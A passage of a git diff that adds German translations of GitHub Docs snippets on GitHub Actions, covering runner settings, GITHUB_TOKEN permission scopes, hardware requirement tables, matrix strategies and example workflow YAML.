+![Screenshot einer Liste der aktiven Aufträge](/assets/images/help/settings/actions-runner-active-jobs.png)
+
+Weitere Informationen findest du unter [Überwachen deines aktuellen Auftrags](/actions/using-github-hosted-runners/monitoring-your-current-jobs).
diff --git a/translations/de-DE/data/reusables/actions/github-hosted-runners-navigate-to-repo-org-enterprise.md b/translations/de-DE/data/reusables/actions/github-hosted-runners-navigate-to-repo-org-enterprise.md
new file mode 100644
index 0000000000..c4ce4912e1
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/github-hosted-runners-navigate-to-repo-org-enterprise.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: 233eff44b80fdceeb29d692af02777e57db31f8a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103767"
+---
+{% ifversion fpt %}
+1. Navigiere zu Hauptseite der Organisation oder des Repositorys.
+1. Klicke auf {% octicon "gear" aria-label="The Settings gear" %}-**Einstellungen**.
+1. Klicke auf der linken Randleiste auf **Aktionen** und dann auf **Runner**.
+{% elsif ghec %}
+1. Navigiere zu deinen Runnereinstellungen:
+   * **In einer Organisation oder einem Repository:** Navigiere zur Hauptseite, und klicke dann auf {% octicon "gear" aria-label="The Settings gear" %} **Einstellungen**.
+   * **Bei Verwendung eines Unternehmenskontos:** Klicke auf {% data variables.product.prodname_dotcom_the_website %} auf dein Profilfoto in der oberen rechten Ecke, um zu deinem Unternehmenskonto zu navigieren. Klicke anschließend auf **Deine Unternehmen**, und wähle das Unternehmen aus.
+1. Navigiere zu den {% data variables.product.prodname_actions %}-Einstellungen:
+   * **In einer Organisation oder einem Repository:** Klicke auf **Aktionen** auf der linken Randleiste und dann auf **Runner**.
+   * **Bei Verwendung eines Unternehmenskontos:** Klicke auf der linken Randleiste auf **"{% octicon "law" aria-label="The law icon" %} Richtlinien**, dann auf **Aktionen** und anschließend auf die Registerkarte **Runner**.{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/github-hosted-runners-table-entry.md b/translations/de-DE/data/reusables/actions/github-hosted-runners-table-entry.md
new file mode 100644
index 0000000000..b14744223e
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/github-hosted-runners-table-entry.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3600ca7ae43771a4c601b54990935a23b4533b32
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103764"
+---
+1. Klicke in der Tabelle „Runner“ auf den Eintrag für **GitHub-gehostete Runner**. Dieser Eintrag ist nur vorhanden, wenn du {% data variables.product.prodname_dotcom %}-gehostete Runner verwendest.
diff --git a/translations/de-DE/data/reusables/actions/github-token-available-permissions.md b/translations/de-DE/data/reusables/actions/github-token-available-permissions.md
new file mode 100644
index 0000000000..89acf44a8c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/github-token-available-permissions.md
@@ -0,0 +1,40 @@
+---
+ms.openlocfilehash: 56ed7762c2325d0328bd52ca89fe7879b5ce4601
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089580"
+---
+Verfügbare Bereiche und Zugriffswerte:
+
+```yaml
+permissions:
+  actions: read|write|none
+  checks: read|write|none
+  contents: read|write|none
+  deployments: read|write|none{% ifversion fpt or ghec %}
+  id-token: read|write|none{% endif %}
+  issues: read|write|none
+  discussions: read|write|none
+  packages: read|write|none
+  pages: read|write|none
+  pull-requests: read|write|none
+  repository-projects: read|write|none
+  security-events: read|write|none
+  statuses: read|write|none
+```
+
+Wenn du den Zugriff für einen dieser Bereiche angibst, werden alle, die nicht angegeben sind, auf `none` festgelegt.
+
+Du kannst die folgende Syntax verwenden, um Lese- oder Schreibzugriff für alle verfügbaren Bereiche zu definieren:
+
+```yaml
+permissions: read-all|write-all
+```
+
+Du kannst die folgende Syntax verwenden, um Berechtigungen für alle verfügbaren Bereiche zu deaktivieren:
+
+```yaml
+permissions: {}
+```
diff --git a/translations/de-DE/data/reusables/actions/github-token-expiration.md b/translations/de-DE/data/reusables/actions/github-token-expiration.md
new file mode 100644
index 0000000000..eb5ca013a4
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/github-token-expiration.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e280e880c8e1b0fcf841a9652b44f17bc8cb56ea
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067418"
+---
+`GITHUB_TOKEN` läuft ab, wenn ein Auftrag beendet wird bzw. spätestens nach 24 Stunden.
diff --git a/translations/de-DE/data/reusables/actions/github-token-permissions.md b/translations/de-DE/data/reusables/actions/github-token-permissions.md
new file mode 100644
index 0000000000..ab1a97cc61
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/github-token-permissions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: dcca3d0170e92663336865f43ddc4e7ac5204702
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147060314"
+---
+Das `GITHUB_TOKEN`-Geheimnis wird jedes Mal auf ein Zugriffstoken für das Repository festgelegt, wenn ein Auftrag in einem Workflow beginnt. Die Berechtigungen für dieses Zugriffstoken müssen in der Workflowdatei festgelegt werden, um Lesezugriff auf den `contents`-Bereich und Schreibzugriff auf den `packages`-Bereich zu gewähren. Weitere Informationen findest du unter [Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token) („Authentifizieren mit dem GITHUB_TOKEN“).
diff --git a/translations/de-DE/data/reusables/actions/github_sha_description.md b/translations/de-DE/data/reusables/actions/github_sha_description.md
new file mode 100644
index 0000000000..1661850e87
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/github_sha_description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b362ff01387cbd9a70aeeceb51bff2b48f776bb9
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109761"
+---
+Der Commit-SHA-Wert, der den Workflow ausgelöst hat. Dieser Wert hängt von dem Ereignis ab, das den Workflow ausgelöst hat. Weitere Informationen findest du unter [Ereignisse, die Workflows auslösen](/actions/using-workflows/events-that-trigger-workflows). Beispiel: `ffac537e6cbbf934b08745a378932722df287a53`.
diff --git a/translations/de-DE/data/reusables/actions/github_token-input-example.md b/translations/de-DE/data/reusables/actions/github_token-input-example.md
new file mode 100644
index 0000000000..ddaa885d5e
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/github_token-input-example.md
@@ -0,0 +1,26 @@
+---
+ms.openlocfilehash: eeaa56fe9499f2e74e2baa66f883d9aa31bc81f9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147065730"
+---
+In diesem Beispielworkflow wird die [Beschrifteraktion](https://github.com/actions/labeler) verwendet, die das `GITHUB_TOKEN` als Wert für den `repo-token`-Eingabeparameter erfordert:
+
+```yaml{:copy}
+name: Pull request labeler
+on: [ pull_request_target ]
+
+permissions:
+  contents: read
+  pull-requests: write
+
+jobs:
+  triage:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-labeler %}
+        with:
+          repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+```
diff --git a/translations/de-DE/data/reusables/actions/gradle-workflow-steps.md b/translations/de-DE/data/reusables/actions/gradle-workflow-steps.md
new file mode 100644
index 0000000000..c45b6c900b
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/gradle-workflow-steps.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 63428b86ba75f7b790895525b37d0802998aa30e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089579"
+---
+Dieser Workflow führt die folgenden Schritte aus:
+
+1. Checkt eine Kopie des Projekt-Repositorys aus.
+1. Richtet das Java JDK ein.
+1. Überprüft die Prüfsummen aller Gradle Wrapper JAR-Dateien, die im Repository vorhanden werden.
diff --git a/translations/de-DE/data/reusables/actions/hardware-requirements-3.2.md b/translations/de-DE/data/reusables/actions/hardware-requirements-3.2.md
new file mode 100644
index 0000000000..0534714a2a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/hardware-requirements-3.2.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: c65b3eaa66968c97e667fd528aee4fc394c0c3b7
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068250"
+---
+| vCPUs | Arbeitsspeicher | Maximale Parallelität |
+| :--- | :--- | :--- |
+| 32 | 128 GB | 1000 Aufträge |
+| 64 | 256 GB | 1300 Aufträge |
+| 96 | 384 GB | 2200 Aufträge |
diff --git a/translations/de-DE/data/reusables/actions/hardware-requirements-3.3.md b/translations/de-DE/data/reusables/actions/hardware-requirements-3.3.md
new file mode 100644
index 0000000000..5fe151dcce
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/hardware-requirements-3.3.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: a94cb68b10ff062b25cfe5d60de5d2dc523ab836
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103760"
+---
+| vCPUs | Arbeitsspeicher | Maximale Parallelität |
+| :--- | :--- | :--- |
+| 8 | 64 GB | 300 Aufträge |
+| 16 | 128 GB | 700 Aufträge |
+| 32 | 160 GB | 1300 Aufträge |
+| 64 | 256 GB | 2\.000 Aufträge |
+| 96 | 384 GB | 4\.000 Aufträge |
diff --git a/translations/de-DE/data/reusables/actions/hardware-requirements-3.4.md b/translations/de-DE/data/reusables/actions/hardware-requirements-3.4.md
new file mode 100644
index 0000000000..ed5a0d4f1c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/hardware-requirements-3.4.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: a3c6e4833bb37beb8bffd0088bdde37b150b59e7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145089571"
+---
+| vCPUs | Arbeitsspeicher | Maximale Parallelität |
+| :---| :--- | :--- |
+| 8   | 64 GB | 300 Aufträge |
+| 16  | 128 GB | 700 Aufträge |
+| 32  | 160 GB | 1\.500 Aufträge |
+| 64  | 256 GB | 2\.500 Aufträge |
+| 96  | 384 GB | 4\.500 Aufträge |
+| 128 | 550 GB | 5\.000 Aufträge |
diff --git a/translations/de-DE/data/reusables/actions/hardware-requirements-3.5.md b/translations/de-DE/data/reusables/actions/hardware-requirements-3.5.md
new file mode 100644
index 0000000000..9ea1b71a08
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/hardware-requirements-3.5.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 5be878c1fcb711df06bd300a8aa631a6a6bfc147
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103759"
+---
+| vCPUs | Arbeitsspeicher | Maximale Parallelität |
+| :---| :--- | :--- |
+| 8   | 64 GB | 740 Aufträge |
+| 16  | 128 GB | 1250 Aufträge |
+| 32  | 160 GB | 2700 Aufträge |
+| 64  | 256 GB | 4500 Aufträge |
+| 96  | 384 GB | 7000 Aufträge |
diff --git a/translations/de-DE/data/reusables/actions/hardware-requirements-before.md b/translations/de-DE/data/reusables/actions/hardware-requirements-before.md
new file mode 100644
index 0000000000..08a7145171
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/hardware-requirements-before.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: d0205e7a87416c4c9e19ec6effe1de883f911691
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145089564"
+---
+| vCPUs | Arbeitsspeicher | Maximaler Auftragsdurchsatz |
+| :--- | :--- | :--- |
+| 4 | 32 GB | Demo- oder Lichttests |
+| 8 | 64 GB | 25 Aufträge |
+| 16 | 160 GB | 35 Aufträge |
+| 32 | 256 GB | 100 Aufträge |
diff --git a/translations/de-DE/data/reusables/actions/hosted-runner-configure-runner-group-access.md b/translations/de-DE/data/reusables/actions/hosted-runner-configure-runner-group-access.md
new file mode 100644
index 0000000000..771972742d
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/hosted-runner-configure-runner-group-access.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8d06e94034fd179bfa5871a291ddb381097a55c4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103755"
+---
+1. Klicke im Runnerabschnitt der Einstellungsseite neben der Runnergruppe, die du konfigurieren möchtest, auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, und klicke dann auf **Namen und Zugriff von [Organisation|Repository] bearbeiten**.
+1. Ändere die Richtlinienoptionen oder den Namen der Runnergruppe.
diff --git a/translations/de-DE/data/reusables/actions/hosted-runner-labels-view-assigned-labels.md b/translations/de-DE/data/reusables/actions/hosted-runner-labels-view-assigned-labels.md
new file mode 100644
index 0000000000..669506bda9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/hosted-runner-labels-view-assigned-labels.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 2a9ca0603082e9c13b64159978ab562da3c4df0c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089563"
+---
+1. Suche den Runner, den du aktualisieren möchtest, und klicke auf {% octicon "triangle-down" aria-label="The downward triangle" %}, um das Auswahlmenü für Bezeichnungen anzuzeigen. In diesem Menü werden alle benutzerdefinierten Kennzeichnungen angezeigt, die deinem selbst-gehosteten Runner zur Verfügung stehen. Bezeichnungen, die deinem selbst-gehosteten Runner bereits zugewiesen sind, sind mit einem {% octicon "check" aria-label="Check mark" %} gekennzeichnet.
+
+    ![Läuferkennzeichnung ändern](/assets/images/help/settings/actions-hosted-runner-list-label.png)
diff --git a/translations/de-DE/data/reusables/actions/hosted-runner-list-group.md b/translations/de-DE/data/reusables/actions/hosted-runner-list-group.md
new file mode 100644
index 0000000000..1240a7e4d1
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/hosted-runner-list-group.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 2ac72a14fbf6fac64c76a818439912936aa5742d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103752"
+---
+1. Wenn sich dein Runner in einer Gruppe befindet, suche die Runnergruppe, und klicke auf {% octicon "chevron-down" aria-label="The downward chevron" %}, um die Liste der Runner anzuzeigen.
+
+    ![Auflisten der Runnergruppe](/assets/images/help/settings/actions-hosted-runner-group-members.png)
diff --git a/translations/de-DE/data/reusables/actions/hosted-runner-list.md b/translations/de-DE/data/reusables/actions/hosted-runner-list.md
new file mode 100644
index 0000000000..667cc0d741
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/hosted-runner-list.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8d59fb471e055f1086076e6e0634e3f45ef80383
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145089555"
+---
+1. Klicke auf die Registerkarte „Selbstgehostete Runner“, und suche die Liste der Runner.
diff --git a/translations/de-DE/data/reusables/actions/hosted-runner-security-admonition.md b/translations/de-DE/data/reusables/actions/hosted-runner-security-admonition.md
new file mode 100644
index 0000000000..05d87ac4a5
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/hosted-runner-security-admonition.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 2ce890fe0439b1030ce00041ff72cd98aeca73db
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109766"
+---
+{% warning %}
+
+**Warnung**: {% data reusables.actions.hosted-runner-security %}
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/actions/if-conditions-table-entry.md b/translations/de-DE/data/reusables/actions/if-conditions-table-entry.md
new file mode 100644
index 0000000000..9917885dd9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/if-conditions-table-entry.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d5ad4906f5864f7dee9dc5746875346e3a4d72e1
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879004"
+---
+| Verhindern, dass ein Auftrag ausgeführt wird, sofern bestimmte Bedingungen nicht erfüllt sind: | [`if`](/actions/using-jobs/using-conditions-to-control-job-execution)|
diff --git a/translations/de-DE/data/reusables/actions/inputs-vs-github-event-inputs.md b/translations/de-DE/data/reusables/actions/inputs-vs-github-event-inputs.md
new file mode 100644
index 0000000000..54893803a9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/inputs-vs-github-event-inputs.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 082935e07137d32c2f5d5bc8cc207b6af30b1265
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877037"
+---
+{% ifversion actions-unified-inputs %}
+
+{% note %}
+
+**Hinweis**: Der Workflow empfängt auch die Eingaben im `github.event.inputs`-Kontext. Die Informationen im Kontext `inputs` und `github.event.inputs` sind identisch, außer dass der Kontext `inputs` boolesche Werte als solche beibehält, anstatt sie in Zeichenfolgen zu konvertieren.
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/actions/internal-actions-summary.md b/translations/de-DE/data/reusables/actions/internal-actions-summary.md
new file mode 100644
index 0000000000..2bbea9fc56
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/internal-actions-summary.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 6ee1eb05e434274c111257c6b79244760a6666e9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146180303"
+---
+{% ifversion internal-actions %} Um Aktionen für dein gesamtes Unternehmen freizugeben, ohne diese für den öffentlichen Zugriff zu veröffentlichen, kannst du die Aktionen in einem internen Repository speichern und dieses dann so konfigurieren, dass der Zugriff auf {% data variables.product.prodname_actions %}-Workflows in anderen Repositorys im Besitz derselben Organisation oder einer anderen Organisation im Unternehmen zugelassen ist. Weitere Informationen findest du unter [Freigeben von Aktionen und Workflows in deinem Unternehmen](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise).
+{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/introducing-enterprise.md b/translations/de-DE/data/reusables/actions/introducing-enterprise.md
new file mode 100644
index 0000000000..2fe5cf678a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/introducing-enterprise.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 20b07fcc7876297fe8029d26521cb8b09485618c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089548"
+---
+Bevor Du beginnst, solltest Du einen Plan für die Einführung von {% data variables.product.prodname_actions %} in Dein Unternehmen erstellen. Weitere Informationen findest Du unter [Einführung in {% data variables.product.prodname_actions %} in Dein Unternehmen](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise).
diff --git a/translations/de-DE/data/reusables/actions/invalid-workflow-files.md b/translations/de-DE/data/reusables/actions/invalid-workflow-files.md
new file mode 100644
index 0000000000..b0c20df4e9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/invalid-workflow-files.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 06fc93899c2299e09e4bfec32c3e7e742ce33120
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147885532"
+---
+{% note %}
+
+**Hinweis:** Stelle sicher, dass Du nur gültige Workflowdateien an Dein Repository freigibst. Wenn `.github/workflows` eine ungültige Workflowdatei enthält, führt {% data variables.product.prodname_actions %} bei jedem neuen Commit zu einem Fehler.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/actions/ip-allow-list-self-hosted-runners.md b/translations/de-DE/data/reusables/actions/ip-allow-list-self-hosted-runners.md
new file mode 100644
index 0000000000..4cb42a307d
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/ip-allow-list-self-hosted-runners.md
@@ -0,0 +1,11 @@
+{% ifversion ghae %}
+To allow your self-hosted runners to communicate with {% data variables.product.prodname_dotcom %}, add the IP address or IP address range of your self-hosted runners to the IP allow list. For more information, see "[Adding an allowed IP address](#adding-an-allowed-ip-address)."
+{% else %}
+{% warning %}
+
+**Warning**: If you use an IP allow list and would also like to use {% data variables.product.prodname_actions %}, you must use self-hosted runners{% ifversion actions-hosted-runners %} or {% data variables.product.prodname_dotcom %}-hosted larger runners with a static IP address range{% endif %}. For more information, see "[Hosting your own runners](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)" {% ifversion actions-hosted-runners %} or "[Using larger runners](/actions/using-github-hosted-runners/using-larger-runners)"{% endif %}.
+
+{% endwarning %}
+
+To allow your self-hosted {% ifversion actions-hosted-runners %}or larger hosted{% endif %} runners to communicate with {% data variables.product.prodname_dotcom %}, add the IP address or IP address range of your runners to the IP allow list. For more information, see "[Adding an allowed IP address](#adding-an-allowed-ip-address)."
+{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/java-jvm-architecture.md b/translations/de-DE/data/reusables/actions/java-jvm-architecture.md
new file mode 100644
index 0000000000..cf9050038a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/java-jvm-architecture.md
@@ -0,0 +1,26 @@
+---
+ms.openlocfilehash: f51b958c86c6ede52591986f9d208864612047db
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145068244"
+---
+### Spezifizieren der JVM-Version und -Architektur
+
+Der Starterworkflow richtet `PATH` so ein, dass OpenJDK 8 für die x64-Plattform enthalten ist. Wenn du eine andere Java-Version verwenden willst oder auf eine andere Architektur (`x64` oder `x86`) abzielen möchtest, kannst du die `setup-java`-Aktion verwenden, um eine andere Java-Laufzeitumgebung auszuwählen.
+
+Um etwa Version 11 des JDK zu verwenden, das von Adoptium für die x64-Plattform bereitgestellt wird, kannst du die Aktion `setup-java` verwenden und die Parameter `java-version`, `distribution` und `architecture` für `'11'`, `'adopt'` und `x64` konfigurieren.
+
+```yaml{:copy}
+steps:
+  - uses: {% data reusables.actions.action-checkout %}
+  - name: Set up JDK 11 for x64
+    uses: {% data reusables.actions.action-setup-java %}
+    with:
+      java-version: '11'
+      distribution: 'adopt'
+      architecture: x64
+```
+
+Weitere Informationen findest du unter der Aktion [`setup-java`](https://github.com/actions/setup-java).
diff --git a/translations/de-DE/data/reusables/actions/jobs/about-matrix-strategy.md b/translations/de-DE/data/reusables/actions/jobs/about-matrix-strategy.md
new file mode 100644
index 0000000000..b7d4b4618e
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/about-matrix-strategy.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 71eac1cd4a3bf205274a042298dec06525953bdf
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147167387"
+---
+Mithilfe einer Matrixstrategie kannst du Variablen in einer Auftragsdefinition verwenden, um automatisch mehrere Auftragsausführungen zu erstellen, die auf Kombinationen dieser Variablen basieren. Mithilfe einer Matrixstrategie kannst du deinen Code beispielsweise in mehreren Versionen einer Sprache oder auf mehreren Betriebssystemen testen.
diff --git a/translations/de-DE/data/reusables/actions/jobs/example-runs-on-groups.md b/translations/de-DE/data/reusables/actions/jobs/example-runs-on-groups.md
new file mode 100644
index 0000000000..cc9811d175
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/example-runs-on-groups.md
@@ -0,0 +1,25 @@
+---
+ms.openlocfilehash: 00f63e08cc047ce722f7a7172783c07e12344a87
+ms.sourcegitcommit: d0cea547f6a5d991a28c310257cafd616235889f
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/01/2022
+ms.locfileid: "148120928"
+---
+In diesem Beispiel wurden Ubuntu 16-Core-Runner zu einer Gruppe namens `ubuntu-runners` hinzugefügt. Der `runs-on`-Schlüssel sendet den Auftrag an einen beliebigen verfügbaren Runner in der Gruppe `ubuntu-runners`:
+
+```yaml
+name: learn-github-actions
+on: [push]
+jobs:
+  check-bats-version:
+    runs-on: 
+      group: ubuntu-runners
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: '14'
+      - run: npm install -g bats
+      - run: bats -v
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/example-runs-on-labels-and-groups.md b/translations/de-DE/data/reusables/actions/jobs/example-runs-on-labels-and-groups.md
new file mode 100644
index 0000000000..7de1e74794
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/example-runs-on-labels-and-groups.md
@@ -0,0 +1,28 @@
+---
+ms.openlocfilehash: 718f58c2013f7deda31fd2a300a5a2b3f7e4b5ec
+ms.sourcegitcommit: d0cea547f6a5d991a28c310257cafd616235889f
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/01/2022
+ms.locfileid: "148120921"
+---
+Wenn du Gruppen und Bezeichnungen kombinierst, muss der Runner beide Anforderungen erfüllen, um zum Ausführen des Auftrags berechtigt zu sein.
+
+In diesem Beispiel wird eine Runnergruppe namens `ubuntu-runners` mit Ubuntu 16-Core-Runnern aufgefüllt, denen zudem die Bezeichnung `ubuntu-20.04-16core` zugewiesen wurde. Der `runs-on`-Schlüssel kombiniert `group` und `labels`, sodass der Auftrag an einen beliebigen verfügbaren Runner innerhalb der Gruppe weitergeleitet wird, der auch eine übereinstimmende Bezeichnung aufweist:
+
+```yaml
+name: learn-github-actions
+on: [push]
+jobs:
+  check-bats-version:
+    runs-on:
+      group: ubuntu-runners
+      labels: ubuntu-20.04-16core
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: '14'
+      - run: npm install -g bats
+      - run: bats -v
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/matrix-add-with-include.md b/translations/de-DE/data/reusables/actions/jobs/matrix-add-with-include.md
new file mode 100644
index 0000000000..3d48cdee72
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/matrix-add-with-include.md
@@ -0,0 +1,37 @@
+---
+ms.openlocfilehash: d0e9408a29307848c49c9d0889c96b054e1d1222
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147062162"
+---
+Diese Matrix führt beispielsweise zehn Aufträge aus, einen für jede Kombination von `os` und `version` in der Matrix sowie einen Auftrag für den Wert `os` von `windows-latest` und den Wert `version` von `17`.
+
+```yaml
+jobs:
+  example_matrix:
+    strategy:
+      matrix:
+        os: [macos-latest, windows-latest, ubuntu-latest]
+        version: [12, 14, 16]
+        include:
+          - os: windows-latest
+            version: 17
+```
+
